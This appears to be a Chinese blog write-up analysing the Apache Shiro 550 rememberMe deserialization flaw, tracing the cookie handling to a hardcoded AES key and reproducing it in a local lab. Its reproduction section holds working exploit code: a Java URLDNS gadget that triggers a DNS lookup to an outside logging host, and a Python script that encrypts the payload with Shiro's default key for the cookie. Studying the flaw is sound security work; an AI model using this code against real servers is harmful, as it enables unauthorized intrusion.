• shiro 550漏洞分析


    都2022年了不会还有人学习这么老的漏洞吧?没错就是我…………


    准备阶段

          起shiro服务,在github上下载<=1.2.4版本,然后修改下pom.xml,修改下如下内容,搞完pom文件一堆爆红,但我点击发布实例选择samples-web后照样运行,没管爆红的地方。如果介意的话网上有完整pom文件可以照搬下

     <?xml version="1.0" encoding="UTF-8"?>
     <!--
       ~ Licensed to the Apache Software Foundation (ASF) under one
       ~ or more contributor license agreements.  See the NOTICE file
       ~ distributed with this work for additional information
       ~ regarding copyright ownership.  The ASF licenses this file
       ~ to you under the Apache License, Version 2.0 (the
       ~ "License"); you may not use this file except in compliance
       ~ with the License.  You may obtain a copy of the License at
       ~
       ~     http://www.apache.org/licenses/LICENSE-2.0
       ~
       ~ Unless required by applicable law or agreed to in writing,
       ~ software distributed under the License is distributed on an
       ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
       ~ KIND, either express or implied.  See the License for the
       ~ specific language governing permissions and limitations
       ~ under the License.
       -->
     <!--suppress osmorcNonOsgiMavenDependency -->
     <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
         <properties><maven.compiler.source>1.6</maven.compiler.source><maven.compiler.target>1.6</maven.compiler.target></properties>
         <parent>
             <groupId>org.apache.shiro.samples</groupId>
             <artifactId>shiro-samples</artifactId>
             <version>1.2.4</version>
             <relativePath>../pom.xml</relativePath>
         </parent><modelVersion>4.0.0</modelVersion>
         <artifactId>samples-web</artifactId>
         <name>Apache Shiro :: Samples :: Web</name>
         <packaging>war</packaging><build>
             <plugins>
                 <plugin>
                     <artifactId>maven-surefire-plugin</artifactId>
                     <configuration>
                         <forkMode>never</forkMode>
                     </configuration>
                 </plugin>
                 <plugin>
                     <groupId>org.mortbay.jetty</groupId>
                     <artifactId>maven-jetty-plugin</artifactId>
                     <version>${jetty.version}</version>
                     <configuration>
                         <contextPath>/</contextPath>
                         <connectors>
                             <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                                 <port>9080</port>
                                 <maxIdleTime>60000</maxIdleTime>
                             </connector>
                         </connectors>
                         <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                             <filename>./target/yyyy_mm_dd.request.log</filename>
                             <retainDays>90</retainDays>
                             <append>true</append>
                             <extended>false</extended>
                             <logTimeZone>GMT</logTimeZone>
                         </requestLog>
                     </configuration>
                 </plugin>
             </plugins>
         </build><dependencies>
             <dependency>
                 <groupId>javax.servlet</groupId>
                 <artifactId>jstl</artifactId>
                 <scope>runtime</scope>
             </dependency>
             <dependency>
                 <groupId>javax.servlet</groupId>
                 <artifactId>servlet-api</artifactId>
     <!--            <scope>provided</scope>-->
             </dependency>
             <dependency>
                 <groupId>org.slf4j</groupId>
                 <artifactId>slf4j-log4j12</artifactId>
                 <scope>runtime</scope>
             </dependency>
             <dependency>
                 <groupId>log4j</groupId>
                 <artifactId>log4j</artifactId>
                 <scope>runtime</scope>
             </dependency>
             <dependency>
                 <groupId>net.sourceforge.htmlunit</groupId>
                 <artifactId>htmlunit</artifactId>
                 <version>2.6</version>
     <!--            <scope>test</scope>-->
             </dependency>
             <dependency>
                 <groupId>org.apache.shiro</groupId>
                 <artifactId>shiro-core</artifactId>
             </dependency>
             <dependency>
                 <groupId>org.apache.shiro</groupId>
                 <artifactId>shiro-web</artifactId>
             </dependency>
             <dependency>
                 <groupId>org.mortbay.jetty</groupId>
                 <artifactId>jetty</artifactId>
                 <version>${jetty.version}</version>
                 <scope>test</scope>
             </dependency>
             <dependency>
                 <groupId>org.mortbay.jetty</groupId>
                 <artifactId>jsp-2.1-jetty</artifactId>
                 <version>${jetty.version}</version>
                 <scope>test</scope>
             </dependency>
             <dependency>
                 <groupId>org.slf4j</groupId>
                 <artifactId>jcl-over-slf4j</artifactId>
                 <scope>runtime</scope>
             </dependency>
             <dependency>
                 <groupId>javax.servlet</groupId>
                 <artifactId>jstl</artifactId>
                 <!--  这里需要将jstl设置为1.2 -->
                 <version>1.2</version>
                 <scope>runtime</scope>
             </dependency>
             <dependency>
                 <groupId>org.apache.commons</groupId>
                 <artifactId>commons-collections4</artifactId>
                 <version>4.0</version>
             </dependency>
         </dependencies>
     ​
     ​
     </project>

    image-20220322151613347

    image-20220322151708443

    我们先访问登录并抓包,记得勾上remember选项

    image-20220322151853567

    image-20220322151932506

    image-20220322151947012

    看到请求的cookie部分内容很大,可以猜想这个cookie代表了什么,可以看看保存了什么信息,一般保存cookie都会用到反序列化。以后一定养成这个习惯。

    搜索Cookie相关的类,其实就是CookieRememberMeManager

    image-20220322153237606

    我们通过名字看方法,注意到rememberSerializedIdentity和getRememberedSerializedIdentity方法,随便你分析哪一个,这里分析的是后者,解密的过程。



    代码分析

    image-20220322153748593

    image-20220322153818208

    通过配图知道最后进行base64解码。看看哪些调用了该方法。alt+f7查看调用查到getRememberedPrincipals方法

    image-20220322154031506

    subjectContext在经过getRememberedSerializedIdentity处理后返回bytes,bytes再经过convertBytesToPrincipals处理,其中的过程如下

    image-20220322154403504

    我们可以先看看反序列化部分是否能触发,跟进deserialize方法

    image-20220322154611884

    再跟进

    image-20220322154623978

    image-20220322154638744

    image-20220322154709052

    可以看到最终调用到了原生的readObject方法。

    再来看看convertBytesToPrincipals中的解密方法decrypt

    image-20220322155043660

    cipherService.decrypt解密方法如下,其实就是aes

    image-20220322155246222

    因为aes解密方法是固定的,所以重点关注解密的key是什么


    寻找key

    image-20220322155406679

    image-20220322155414171

    可以看到是个常量,需要查找在哪被赋值的,alt+f7,看value write部分

    image-20220322155510872

    image-20220322155531167

    继续查看setDecryptionCipherKey在哪被调用

    image-20220322155559705

    image-20220322155616878

    image-20220322155626122

    ok,最后找到了关键的key,这样理一下解密的过程

    cookie获取 == > base64解码 ==》 aes解密 = ===》反序列化


    最后尝试复现该漏洞

    URLDNS链生成类

    import java.io.*;
     import java.lang.reflect.Field;
     import java.net.URL;
     import java.util.HashMap;
     public class URLCC {
         public static void serialize(Object obj) throws IOException {
             ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.txt"));
             objectOutputStream.writeObject(obj);
             objectOutputStream.close();
         }
         public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
             //入口类
             HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();
             //调用链
             URL url = new URL("http://fyh5ci.logs.ink");
             //将hashCode更改为非-1的值,使其序列化的时候不会发起dns请求
             Class<? extends URL> aClass = url.getClass();
             Field hashCodeField = aClass.getDeclaredField("hashCode");
             hashCodeField.setAccessible(true);
             hashCodeField.set(url,1234);
             //执行类
             hashMap.put(url,123);
             //将hashCode改为-1,使其反序列化的时候能发起dns请求
             hashCodeField.set(url,-1);
             serialize(hashMap);
         }
     }

    将上述序列化的内容进行加密,注意要先将keybase64解码

    image-20220322181736218

     
    import base64
     import uuid
     from Crypto.Cipher import AES
     ​
     def get_file_data(filename):
         with open(filename,'rb') as f:
             data = f.read()
         return datadef aes_enc(data):
         BS = AES.block_size
         pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
         key = "kPH+bIxk5D2deZiIxcaaaA=="
         mode = AES.MODE_CBC
         iv = uuid.uuid4().bytes
         encryptor = AES.new(base64.b64decode(key),mode,iv)
         ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
         return ciphertext
     ​
     if __name__ == '__main__':
         data = get_file_data("D:\ser.txt")
         print(aes_enc(data))

    image-20220322181756581

    将生成的payload带入到cookie中,主要要将JSESSIONID去掉,不然会优先读取JSESSIONID的信息,无法利用到我们payload

    image-20220322182042179


    总结

    整个看下来利用链,主要还是要有敏感的发现能力,发现cookie处可能存在反序列化。

    getRememberedSerializedIdentity 入口点== > base64解码 ==》 aes解密 = ===》反序列化

  • 相关阅读:
    Redis主从,集群部署及迁移
    Nginx跨域了解及模拟和解决
    app管理平台 app-host
    FastDFS文件系统使用经验
    FastDFS文件系统迁移和数据恢复
    从单体架构到微服务架构演进
    配置中心之Nacos简介,使用及Go简单集成
    从单体应用到微服务开发旅程
    写DockerFile的一些技巧
    QPS,TPS,并发用户数,吞吐量关系
  • 原文地址:https://www.cnblogs.com/sup3rman/p/16040746.html
Copyright © 2020-2023  润新知